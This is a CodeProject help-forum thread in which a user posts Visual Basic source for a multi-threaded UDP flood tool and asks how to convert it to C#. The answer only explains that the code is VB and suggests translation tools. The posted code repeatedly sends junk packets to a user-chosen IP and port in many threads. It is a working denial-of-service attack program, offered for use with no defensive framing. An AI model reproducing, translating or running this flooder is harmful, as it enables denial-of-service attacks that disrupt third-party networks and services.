Click here to Skip to main content
15,888,286 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
heres the code it has no brackets or nothing please help

VB
Imports System.Net.Sockets
Imports System.IO
Imports System.Text
Imports System.Threading
Public Class Form1
    Dim List As New List(Of Threading.Thread)

    Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll
        Label3.Text = "Number Of Threads : " & TrackBar1.Value
    End Sub
    Sub UDP()
        Try
            Dim GLOIP As IPAddress 'Target
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text) ' Textbox1.Text= IP/Target
            bytCommand = Encoding.ASCII.GetBytes("$$$$$$$$$$$$$$$") 'Message in byte
            Do
                Dim udpClient As New UdpClient 'Protocol
                udpClient.Connect(GLOIP, TextBox2.Text) 'Connect to Target (Textbox2.text=Port)
                udpClient.Send(bytCommand, bytCommand.Length) 'Send Message
                udpClient.Close()
                Label8.Text += 1 'Label8.text= Connections
            Loop
        Catch ex As Exception
            Label7.Text += 1

        End Try
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        List.Clear()
        For i = 0 To TrackBar1.Value - 1
            Dim UDPFlood As New Threading.Thread(AddressOf UDP)
            UDPFlood.Start()
            List.Add(UDPFlood)
        Next
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Control.CheckForIllegalCrossThreadCalls = False
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        For i = 0 To List.Count - 1
            List(i).Abort()
        Next
    End Sub
End Class


What I have tried:

I have tried everything! from searching and research to youtube but nothing works
Posted
Updated 27-Feb-16 7:57am
v2

1 solution

Quote:
heres the code it has no brackets or nothing
That's because it's Visual Basic, not C#. You'll find automatic translation services with this Google search: convert visual basic to c#[^]

Of course it can't be guaranteed that it will work or do what you want after the conversion.
 
Share this answer
 
Comments
Patrice T 27-Feb-16 13:56pm    
+5 you to fast on this one :)
Sascha Lefèvre 27-Feb-16 14:57pm    
;) thank you!

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900